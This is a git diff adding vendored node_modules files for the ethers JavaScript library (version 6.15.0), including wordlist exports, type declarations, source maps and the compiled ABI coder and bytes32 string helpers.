+Object.defineProperty(exports, "__esModule", { value: true }); +exports.wordlists = void 0; +const lang_en_js_1 = require("./lang-en.js"); +exports.wordlists = { + en: lang_en_js_1.LangEn.wordlist(), +}; +//# sourceMappingURL=wordlists-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlists-browser.js.map b/node_modules/ethers/lib.commonjs/wordlists/wordlists-browser.js.map new file mode 100644 index 000000000000..074bd99d1d04 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlists-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlists-browser.js","sourceRoot":"","sources":["../../src.ts/wordlists/wordlists-browser.ts"],"names":[],"mappings":";;;AACA,6CAAsC;AAIzB,QAAA,SAAS,GAA6B;IACjD,EAAE,EAAE,mBAAM,CAAC,QAAQ,EAAE;CACtB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlists-extra.d.ts b/node_modules/ethers/lib.commonjs/wordlists/wordlists-extra.d.ts new file mode 100644 index 000000000000..7e15a233fca4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlists-extra.d.ts @@ -0,0 +1,9 @@ +export { LangCz } from "./lang-cz.js"; +export { LangEs } from "./lang-es.js"; +export { LangFr } from "./lang-fr.js"; +export { LangJa } from "./lang-ja.js"; +export { LangKo } from "./lang-ko.js"; +export { LangIt } from "./lang-it.js"; +export { LangPt } from "./lang-pt.js"; +export { LangZh } from "./lang-zh.js"; +//# sourceMappingURL=wordlists-extra.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlists-extra.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/wordlists-extra.d.ts.map new file mode 100644 index 000000000000..6003081c6921 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlists-extra.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlists-extra.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/wordlists-extra.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlists-extra.js b/node_modules/ethers/lib.commonjs/wordlists/wordlists-extra.js new file mode 100644 index 000000000000..38dbc9266554 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlists-extra.js @@ -0,0 +1,20 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.LangZh = exports.LangPt = exports.LangIt = exports.LangKo = exports.LangJa = exports.LangFr = exports.LangEs = exports.LangCz = void 0; +var lang_cz_js_1 = require("./lang-cz.js"); +Object.defineProperty(exports, "LangCz", { enumerable: true, get: function () { return lang_cz_js_1.LangCz; } }); +var lang_es_js_1 = require("./lang-es.js"); +Object.defineProperty(exports, "LangEs", { enumerable: true, get: function () { return lang_es_js_1.LangEs; } }); +var lang_fr_js_1 = require("./lang-fr.js"); +Object.defineProperty(exports, "LangFr", { enumerable: true, get: function () { return lang_fr_js_1.LangFr; } }); +var lang_ja_js_1 = require("./lang-ja.js"); +Object.defineProperty(exports, "LangJa", { enumerable: true, get: function () { return lang_ja_js_1.LangJa; } }); +var lang_ko_js_1 = require("./lang-ko.js"); +Object.defineProperty(exports, "LangKo", { enumerable: true, get: function () { return lang_ko_js_1.LangKo; } }); +var lang_it_js_1 = require("./lang-it.js"); +Object.defineProperty(exports, "LangIt", { enumerable: true, get: function () { return lang_it_js_1.LangIt; } }); +var lang_pt_js_1 = require("./lang-pt.js"); +Object.defineProperty(exports, "LangPt", { enumerable: true, get: function () { return lang_pt_js_1.LangPt; } }); +var lang_zh_js_1 = require("./lang-zh.js"); +Object.defineProperty(exports, "LangZh", { enumerable: true, get: function () { return lang_zh_js_1.LangZh; } }); +//# sourceMappingURL=wordlists-extra.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlists-extra.js.map b/node_modules/ethers/lib.commonjs/wordlists/wordlists-extra.js.map new file mode 100644 index 000000000000..470e3312680f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlists-extra.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlists-extra.js","sourceRoot":"","sources":["../../src.ts/wordlists/wordlists-extra.ts"],"names":[],"mappings":";;;AACA,2CAAsC;AAA7B,oGAAA,MAAM,OAAA;AACf,2CAAsC;AAA7B,oGAAA,MAAM,OAAA;AACf,2CAAsC;AAA7B,oGAAA,MAAM,OAAA;AACf,2CAAsC;AAA7B,oGAAA,MAAM,OAAA;AACf,2CAAsC;AAA7B,oGAAA,MAAM,OAAA;AACf,2CAAsC;AAA7B,oGAAA,MAAM,OAAA;AACf,2CAAsC;AAA7B,oGAAA,MAAM,OAAA;AACf,2CAAsC;AAA7B,oGAAA,MAAM,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlists.d.ts b/node_modules/ethers/lib.commonjs/wordlists/wordlists.d.ts new file mode 100644 index 000000000000..ab8b0308cb07 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlists.d.ts @@ -0,0 +1,16 @@ +import type { Wordlist } from "./wordlist.js"; +/** + * The available Wordlists by their + * [ISO 639-1 Language Code](link-wiki-iso639). + * + * (**i.e.** [cz](LangCz), [en](LangEn), [es](LangEs), [fr](LangFr), + * [ja](LangJa), [ko](LangKo), [it](LangIt), [pt](LangPt), + * [zh_cn](LangZh), [zh_tw](LangZh)) + * + * The dist files (in the ``/dist`` folder) have had all languages + * except English stripped out, which reduces the library size by + * about 80kb. If required, they are available by importing the + * included ``wordlists-extra.min.js`` file. + */ +export declare const wordlists: Record; +//# sourceMappingURL=wordlists.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlists.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/wordlists.d.ts.map new file mode 100644 index 000000000000..6e459b7ce3e0 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlists.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlists.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/wordlists.ts"],"names":[],"mappings":"AAWA,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAE9C;;;;;;;;;;;;GAYG;AACH,eAAO,MAAM,SAAS,EAAE,MAAM,CAAC,MAAM,EAAE,QAAQ,CAW9C,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlists.js b/node_modules/ethers/lib.commonjs/wordlists/wordlists.js new file mode 100644 index 000000000000..97235d88ea3a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlists.js @@ -0,0 +1,38 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.wordlists = void 0; +const lang_cz_js_1 = require("./lang-cz.js"); +const lang_en_js_1 = require("./lang-en.js"); +const lang_es_js_1 = require("./lang-es.js"); +const lang_fr_js_1 = require("./lang-fr.js"); +const lang_ja_js_1 = require("./lang-ja.js"); +const lang_ko_js_1 = require("./lang-ko.js"); +const lang_it_js_1 = require("./lang-it.js"); +const lang_pt_js_1 = require("./lang-pt.js"); +const lang_zh_js_1 = require("./lang-zh.js"); +/** + * The available Wordlists by their + * [ISO 639-1 Language Code](link-wiki-iso639). + * + * (**i.e.** [cz](LangCz), [en](LangEn), [es](LangEs), [fr](LangFr), + * [ja](LangJa), [ko](LangKo), [it](LangIt), [pt](LangPt), + * [zh_cn](LangZh), [zh_tw](LangZh)) + * + * The dist files (in the ``/dist`` folder) have had all languages + * except English stripped out, which reduces the library size by + * about 80kb. If required, they are available by importing the + * included ``wordlists-extra.min.js`` file. + */ +exports.wordlists = { + cz: lang_cz_js_1.LangCz.wordlist(), + en: lang_en_js_1.LangEn.wordlist(), + es: lang_es_js_1.LangEs.wordlist(), + fr: lang_fr_js_1.LangFr.wordlist(), + it: lang_it_js_1.LangIt.wordlist(), + pt: lang_pt_js_1.LangPt.wordlist(), + ja: lang_ja_js_1.LangJa.wordlist(), + ko: lang_ko_js_1.LangKo.wordlist(), + zh_cn: lang_zh_js_1.LangZh.wordlist("cn"), + zh_tw: lang_zh_js_1.LangZh.wordlist("tw"), +}; +//# sourceMappingURL=wordlists.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlists.js.map b/node_modules/ethers/lib.commonjs/wordlists/wordlists.js.map new file mode 100644 index 000000000000..19507422da8b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlists.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlists.js","sourceRoot":"","sources":["../../src.ts/wordlists/wordlists.ts"],"names":[],"mappings":";;;AACA,6CAAsC;AACtC,6CAAsC;AACtC,6CAAsC;AACtC,6CAAsC;AACtC,6CAAsC;AACtC,6CAAsC;AACtC,6CAAsC;AACtC,6CAAsC;AACtC,6CAAsC;AAItC;;;;;;;;;;;;GAYG;AACU,QAAA,SAAS,GAA6B;IACjD,EAAE,EAAE,mBAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,mBAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,mBAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,mBAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,mBAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,mBAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,mBAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,mBAAM,CAAC,QAAQ,EAAE;IACrB,KAAK,EAAE,mBAAM,CAAC,QAAQ,CAAC,IAAI,CAAC;IAC5B,KAAK,EAAE,mBAAM,CAAC,QAAQ,CAAC,IAAI,CAAC;CAC7B,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/README.md b/node_modules/ethers/lib.esm/README.md new file mode 100644 index 000000000000..ce8d3ba56130 --- /dev/null +++ b/node_modules/ethers/lib.esm/README.md @@ -0,0 +1,16 @@ +ESM Files +========= + +The contents of this folder are for using `import` in ESM +projects. + + +Notes +----- + +The contents are generated via the `npm run build` target +using `tsc` and the `/tsconfig.esm.json` configuration. + +Do not modify the files in this folder. They are deleted on `build-clean`. + +To modify this `README.md`, see the `/output/post-build/lib.esm`. diff --git a/node_modules/ethers/lib.esm/_version.d.ts b/node_modules/ethers/lib.esm/_version.d.ts new file mode 100644 index 000000000000..37c501ab40cf --- /dev/null +++ b/node_modules/ethers/lib.esm/_version.d.ts @@ -0,0 +1,5 @@ +/** + * The current version of Ethers. + */ +export declare const version: string; +//# sourceMappingURL=_version.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/_version.d.ts.map b/node_modules/ethers/lib.esm/_version.d.ts.map new file mode 100644 index 000000000000..a85eec000868 --- /dev/null +++ b/node_modules/ethers/lib.esm/_version.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"_version.d.ts","sourceRoot":"","sources":["../src.ts/_version.ts"],"names":[],"mappings":"AAEA;;GAEG;AACH,eAAO,MAAM,OAAO,EAAE,MAAiB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/_version.js b/node_modules/ethers/lib.esm/_version.js new file mode 100644 index 000000000000..bee5a42bcf55 --- /dev/null +++ b/node_modules/ethers/lib.esm/_version.js @@ -0,0 +1,6 @@ +/* Do NOT modify this file; see /src.ts/_admin/update-version.ts */ +/** + * The current version of Ethers. + */ +export const version = "6.15.0"; +//# sourceMappingURL=_version.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/_version.js.map b/node_modules/ethers/lib.esm/_version.js.map new file mode 100644 index 000000000000..f7dcaf76a043 --- /dev/null +++ b/node_modules/ethers/lib.esm/_version.js.map @@ -0,0 +1 @@ +{"version":3,"file":"_version.js","sourceRoot":"","sources":["../src.ts/_version.ts"],"names":[],"mappings":"AAAA,mEAAmE;AAEnE;;GAEG;AACH,MAAM,CAAC,MAAM,OAAO,GAAW,QAAQ,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/abi-coder.d.ts b/node_modules/ethers/lib.esm/abi/abi-coder.d.ts new file mode 100644 index 000000000000..1e5d552c766b --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/abi-coder.d.ts @@ -0,0 +1,61 @@ +/** + * When sending values to or receiving values from a [[Contract]], the + * data is generally encoded using the [ABI standard](link-solc-abi). + * + * The AbiCoder provides a utility to encode values to ABI data and + * decode values from ABI data. + * + * Most of the time, developers should favour the [[Contract]] class, + * which further abstracts a lot of the finer details of ABI data. + * + * @_section api/abi/abi-coder:ABI Encoding + */ +import { Result } from "./coders/abstract-coder.js"; +import { ParamType } from "./fragments.js"; +import type { BytesLike, CallExceptionAction, CallExceptionError } from "../utils/index.js"; +/** + * The **AbiCoder** is a low-level class responsible for encoding JavaScript + * values into binary data and decoding binary data into JavaScript values. + */ +export declare class AbiCoder { + #private; + /** + * Get the default values for the given %%types%%. + * + * For example, a ``uint`` is by default ``0`` and ``bool`` + * is by default ``false``. + */ + getDefaultValue(types: ReadonlyArray): Result; + /** + * Encode the %%values%% as the %%types%% into ABI data. + * + * @returns DataHexstring + */ + encode(types: ReadonlyArray, values: ReadonlyArray): string; + /** + * Decode the ABI %%data%% as the %%types%% into values. + * + * If %%loose%% decoding is enabled, then strict padding is + * not enforced. Some older versions of Solidity incorrectly + * padded event data emitted from ``external`` functions. + */ + decode(types: ReadonlyArray, data: BytesLike, loose?: boolean): Result; + static _setDefaultMaxInflation(value: number): void; + /** + * Returns the shared singleton instance of a default [[AbiCoder]]. + * + * On the first call, the instance is created internally. + */ + static defaultAbiCoder(): AbiCoder; + /** + * Returns an ethers-compatible [[CallExceptionError]] Error for the given + * result %%data%% for the [[CallExceptionAction]] %%action%% against + * the Transaction %%tx%%. + */ + static getBuiltinCallException(action: CallExceptionAction, tx: { + to?: null | string; + from?: null | string; + data?: string; + }, data: null | BytesLike): CallExceptionError; +} +//# sourceMappingURL=abi-coder.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/abi-coder.d.ts.map b/node_modules/ethers/lib.esm/abi/abi-coder.d.ts.map new file mode 100644 index 000000000000..0a0c483ef07e --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/abi-coder.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"abi-coder.d.ts","sourceRoot":"","sources":["../../src.ts/abi/abi-coder.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAMH,OAAO,EAAiB,MAAM,EAAU,MAAM,4BAA4B,CAAC;AAU3E,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAK3C,OAAO,KAAK,EACR,SAAS,EACT,mBAAmB,EAAE,kBAAkB,EAC1C,MAAM,mBAAmB,CAAC;AAuF3B;;;GAGG;AACH,qBAAa,QAAQ;;IA4CjB;;;;;OAKG;IACH,eAAe,CAAC,KAAK,EAAE,aAAa,CAAC,MAAM,GAAG,SAAS,CAAC,GAAG,MAAM;IAMjE;;;;OAIG;IACH,MAAM,CAAC,KAAK,EAAE,aAAa,CAAC,MAAM,GAAG,SAAS,CAAC,EAAE,MAAM,EAAE,aAAa,CAAC,GAAG,CAAC,GAAG,MAAM;IAWpF;;;;;;OAMG;IACH,MAAM,CAAC,KAAK,EAAE,aAAa,CAAC,MAAM,GAAG,SAAS,CAAC,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,CAAC,EAAE,OAAO,GAAG,MAAM;IAM1F,MAAM,CAAC,uBAAuB,CAAC,KAAK,EAAE,MAAM,GAAG,IAAI;IAKnD;;;;OAIG;IACH,MAAM,CAAC,eAAe,IAAI,QAAQ;IAOlC;;;;OAIG;IACH,MAAM,CAAC,uBAAuB,CAAC,MAAM,EAAE,mBAAmB,EAAE,EAAE,EAAE;QAAE,EAAE,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;QAAC,IAAI,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;QAAC,IAAI,CAAC,EAAE,MAAM,CAAA;KAAE,EAAE,IAAI,EAAE,IAAI,GAAG,SAAS,GAAG,kBAAkB;CAG3K"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/abi-coder.js b/node_modules/ethers/lib.esm/abi/abi-coder.js new file mode 100644 index 000000000000..0b528fe5a3ff --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/abi-coder.js @@ -0,0 +1,206 @@ +/** + * When sending values to or receiving values from a [[Contract]], the + * data is generally encoded using the [ABI standard](link-solc-abi). + * + * The AbiCoder provides a utility to encode values to ABI data and + * decode values from ABI data. + * + * Most of the time, developers should favour the [[Contract]] class, + * which further abstracts a lot of the finer details of ABI data. + * + * @_section api/abi/abi-coder:ABI Encoding + */ +// See: https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI +import { assertArgumentCount, assertArgument } from "../utils/index.js"; +import { Reader, Writer } from "./coders/abstract-coder.js"; +import { AddressCoder } from "./coders/address.js"; +import { ArrayCoder } from "./coders/array.js"; +import { BooleanCoder } from "./coders/boolean.js"; +import { BytesCoder } from "./coders/bytes.js"; +import { FixedBytesCoder } from "./coders/fixed-bytes.js"; +import { NullCoder } from "./coders/null.js"; +import { NumberCoder } from "./coders/number.js"; +import { StringCoder } from "./coders/string.js"; +import { TupleCoder } from "./coders/tuple.js"; +import { ParamType } from "./fragments.js"; +import { getAddress } from "../address/index.js"; +import { getBytes, hexlify, makeError } from "../utils/index.js"; +// https://docs.soliditylang.org/en/v0.8.17/control-structures.html +const PanicReasons = new Map(); +PanicReasons.set(0x00, "GENERIC_PANIC"); +PanicReasons.set(0x01, "ASSERT_FALSE"); +PanicReasons.set(0x11, "OVERFLOW"); +PanicReasons.set(0x12, "DIVIDE_BY_ZERO"); +PanicReasons.set(0x21, "ENUM_RANGE_ERROR"); +PanicReasons.set(0x22, "BAD_STORAGE_DATA"); +PanicReasons.set(0x31, "STACK_UNDERFLOW"); +PanicReasons.set(0x32, "ARRAY_RANGE_ERROR"); +PanicReasons.set(0x41, "OUT_OF_MEMORY"); +PanicReasons.set(0x51, "UNINITIALIZED_FUNCTION_CALL"); +const paramTypeBytes = new RegExp(/^bytes([0-9]*)$/); +const paramTypeNumber = new RegExp(/^(u?int)([0-9]*)$/); +let defaultCoder = null; +let defaultMaxInflation = 1024; +function getBuiltinCallException(action, tx, data, abiCoder) { + let message = "missing revert data"; + let reason = null; + const invocation = null; + let revert = null; + if (data) { + message = "execution reverted"; + const bytes = getBytes(data); + data = hexlify(data); + if (bytes.length === 0) { + message += " (no data present; likely require(false) occurred"; + reason = "require(false)"; + } + else if (bytes.length % 32 !== 4) { + message += " (could not decode reason; invalid data length)"; + } + else if (hexlify(bytes.slice(0, 4)) === "0x08c379a0") { + // Error(string) + try { + reason = abiCoder.decode(["string"], bytes.slice(4))[0]; + revert = { + signature: "Error(string)", + name: "Error", + args: [reason] + }; + message += `: ${JSON.stringify(reason)}`; + } + catch (error) { + message += " (could not decode reason; invalid string data)"; + } + } + else if (hexlify(bytes.slice(0, 4)) === "0x4e487b71") { + // Panic(uint256) + try { + const code = Number(abiCoder.decode(["uint256"], bytes.slice(4))[0]); + revert = { + signature: "Panic(uint256)", + name: "Panic", + args: [code] + }; + reason = `Panic due to ${PanicReasons.get(code) || "UNKNOWN"}(${code})`; + message += `: ${reason}`; + } + catch (error) { + message += " (could not decode panic code)"; + } + } + else { + message += " (unknown custom error)"; + } + } + const transaction = { + to: (tx.to ? getAddress(tx.to) : null), + data: (tx.data || "0x") + }; + if (tx.from) { + transaction.from = getAddress(tx.from); + } + return makeError(message, "CALL_EXCEPTION", { + action, data, reason, transaction, invocation, revert + }); +} +/** + * The **AbiCoder** is a low-level class responsible for encoding JavaScript + * values into binary data and decoding binary data into JavaScript values. + */ +export class AbiCoder { + #getCoder(param) { + if (param.isArray()) { + return new ArrayCoder(this.#getCoder(param.arrayChildren), param.arrayLength, param.name); + } + if (param.isTuple()) { + return new TupleCoder(param.components.map((c) => this.#getCoder(c)), param.name); + } + switch (param.baseType) { + case "address": + return new AddressCoder(param.name); + case "bool": + return new BooleanCoder(param.name); + case "string": + return new StringCoder(param.name); + case "bytes": + return new BytesCoder(param.name); + case "": + return new NullCoder(param.name); + } + // u?int[0-9]* + let match = param.type.match(paramTypeNumber); + if (match) { + let size = parseInt(match[2] || "256"); + assertArgument(size !== 0 && size <= 256 && (size % 8) === 0, "invalid " + match[1] + " bit length", "param", param); + return new NumberCoder(size / 8, (match[1] === "int"), param.name); + } + // bytes[0-9]+ + match = param.type.match(paramTypeBytes); + if (match) { + let size = parseInt(match[1]); + assertArgument(size !== 0 && size <= 32, "invalid bytes length", "param", param); + return new FixedBytesCoder(size, param.name); + } + assertArgument(false, "invalid type", "type", param.type); + } + /** + * Get the default values for the given %%types%%. + * + * For example, a ``uint`` is by default ``0`` and ``bool`` + * is by default ``false``. + */ + getDefaultValue(types) { + const coders = types.map((type) => this.#getCoder(ParamType.from(type))); + const coder = new TupleCoder(coders, "_"); + return coder.defaultValue(); + } + /** + * Encode the %%values%% as the %%types%% into ABI data. + * + * @returns DataHexstring + */ + encode(types, values) { + assertArgumentCount(values.length, types.length, "types/values length mismatch"); + const coders = types.map((type) => this.#getCoder(ParamType.from(type))); + const coder = (new TupleCoder(coders, "_")); + const writer = new Writer(); + coder.encode(writer, values); + return writer.data; + } + /** + * Decode the ABI %%data%% as the %%types%% into values. + * + * If %%loose%% decoding is enabled, then strict padding is + * not enforced. Some older versions of Solidity incorrectly + * padded event data emitted from ``external`` functions. + */ + decode(types, data, loose) { + const coders = types.map((type) => this.#getCoder(ParamType.from(type))); + const coder = new TupleCoder(coders, "_"); + return coder.decode(new Reader(data, loose, defaultMaxInflation)); + } + static _setDefaultMaxInflation(value) { + assertArgument(typeof (value) === "number" && Number.isInteger(value), "invalid defaultMaxInflation factor", "value", value); + defaultMaxInflation = value; + } + /** + * Returns the shared singleton instance of a default [[AbiCoder]]. + * + * On the first call, the instance is created internally. + */ + static defaultAbiCoder() { + if (defaultCoder == null) { + defaultCoder = new AbiCoder(); + } + return defaultCoder; + } + /** + * Returns an ethers-compatible [[CallExceptionError]] Error for the given + * result %%data%% for the [[CallExceptionAction]] %%action%% against + * the Transaction %%tx%%. + */ + static getBuiltinCallException(action, tx, data) { + return getBuiltinCallException(action, tx, data, AbiCoder.defaultAbiCoder()); + } +} +//# sourceMappingURL=abi-coder.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/abi-coder.js.map b/node_modules/ethers/lib.esm/abi/abi-coder.js.map new file mode 100644 index 000000000000..db43966e55e5 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/abi-coder.js.map @@ -0,0 +1 @@ +{"version":3,"file":"abi-coder.js","sourceRoot":"","sources":["../../src.ts/abi/abi-coder.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,mEAAmE;AAEnE,OAAO,EAAE,mBAAmB,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAExE,OAAO,EAAS,MAAM,EAAU,MAAM,EAAE,MAAM,4BAA4B,CAAC;AAC3E,OAAO,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACnD,OAAO,EAAE,UAAU,EAAE,MAAM,mBAAmB,CAAC;AAC/C,OAAO,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACnD,OAAO,EAAE,UAAU,EAAE,MAAM,mBAAmB,CAAC;AAC/C,OAAO,EAAE,eAAe,EAAE,MAAM,yBAAyB,CAAC;AAC1D,OAAO,EAAE,SAAS,EAAE,MAAM,kBAAkB,CAAC;AAC7C,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAC;AACjD,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAC;AACjD,OAAO,EAAE,UAAU,EAAE,MAAM,mBAAmB,CAAC;AAC/C,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAE3C,OAAO,EAAE,UAAU,EAAE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AK,CAAC,GAAG,CAAC,CAAC,IAAI,EAAE,EAAE,CAAC,IAAI,CAAC,SAAS,CAAC,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QACvF,MAAM,KAAK,GAAG,IAAI,UAAU,CAAC,MAAM,EAAE,GAAG,CAAC,CAAC;QAC1C,OAAO,KAAK,CAAC,MAAM,CAAC,IAAI,MAAM,CAAC,IAAI,EAAE,KAAK,EAAE,mBAAmB,CAAC,CAAC,CAAC;IACtE,CAAC;IAED,MAAM,CAAC,uBAAuB,CAAC,KAAa;QACxC,cAAc,CAAC,OAAM,CAAC,KAAK,CAAC,KAAK,QAAQ,IAAI,MAAM,CAAC,SAAS,CAAC,KAAK,CAAC,EAAE,oCAAoC,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;QAC5H,mBAAmB,GAAG,KAAK,CAAC;IAChC,CAAC;IAED;;;;OAIG;IACH,MAAM,CAAC,eAAe;QAClB,IAAI,YAAY,IAAI,IAAI,EAAE;YACtB,YAAY,GAAG,IAAI,QAAQ,EAAE,CAAC;SACjC;QACD,OAAO,YAAY,CAAC;IACxB,CAAC;IAED;;;;OAIG;IACH,MAAM,CAAC,uBAAuB,CAAC,MAA2B,EAAE,EAA+D,EAAE,IAAsB;QAC/I,OAAO,uBAAuB,CAAC,MAAM,EAAE,EAAE,EAAE,IAAI,EAAE,QAAQ,CAAC,eAAe,EAAE,CAAC,CAAC;IACjF,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/bytes32.d.ts b/node_modules/ethers/lib.esm/abi/bytes32.d.ts new file mode 100644 index 000000000000..73455cb5d7f9 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/bytes32.d.ts @@ -0,0 +1,15 @@ +/** + * About bytes32 strings... + * + * @_docloc: api/utils:Bytes32 Strings + */ +import type { BytesLike } from "../utils/index.js"; +/** + * Encodes %%text%% as a Bytes32 string. + */ +export declare function encodeBytes32String(text: string): string; +/** + * Encodes the Bytes32-encoded %%bytes%% into a string. + */ +export declare function decodeBytes32String(_bytes: BytesLike): string; +//# sourceMappingURL=bytes32.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/bytes32.d.ts.map b/node_modules/ethers/lib.esm/abi/bytes32.d.ts.map new file mode 100644 index 000000000000..1d56cd6f4d91 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/bytes32.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"bytes32.d.ts","sourceRoot":"","sources":["../../src.ts/abi/bytes32.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAMH,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEnD;;GAEG;AACH,wBAAgB,mBAAmB,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CAUxD;AAED;;GAEG;AACH,wBAAgB,mBAAmB,CAAC,MAAM,EAAE,SAAS,GAAG,MAAM,CAa7D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/bytes32.js b/node_modules/ethers/lib.esm/abi/bytes32.js new file mode 100644 index 000000000000..20d586bfa0a0 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/bytes32.js @@ -0,0 +1,40 @@ +/** + * About bytes32 strings... + * + * @_docloc: api/utils:Bytes32 Strings + */ +import { getBytes, toUtf8Bytes, toUtf8String, zeroPadBytes } from "../utils/index.js"; +/** + * Encodes %%text%% as a Bytes32 string. + */ +export function encodeBytes32String(text) { + // Get the bytes + const bytes = toUtf8Bytes(text); + // Check we have room for null-termination + if (bytes.length > 31) { + throw new Error("bytes32 string must be less than 32 bytes"); + } + // Zero-pad (implicitly null-terminates) + return zeroPadBytes(bytes, 32); +} +/** + * Encodes the Bytes32-encoded %%bytes%% into a string. + */ +export function decodeBytes32String(_bytes) { + const data = getBytes(_bytes, "bytes"); + // Must be 32 bytes with a null-termination + if (data.length !== 32) { + throw new Error("invalid bytes32 - not 32 bytes long"); + } + if (data[31] !== 0) { + throw new Error("invalid bytes32 string - no null terminator"); + } + // Find the null termination + let length = 31; + while (data[length - 1] === 0) { + length--; + } + // Determine the string value + return toUtf8String(data.slice(0, length)); +} +//# sourceMappingURL=bytes32.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/bytes32.js.map b/node_modules/ethers/lib.esm/abi/bytes32.js.map new file mode 100644 index 000000000000..98e8316fb077 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/bytes32.js.map @@ -0,0 +1 @@ 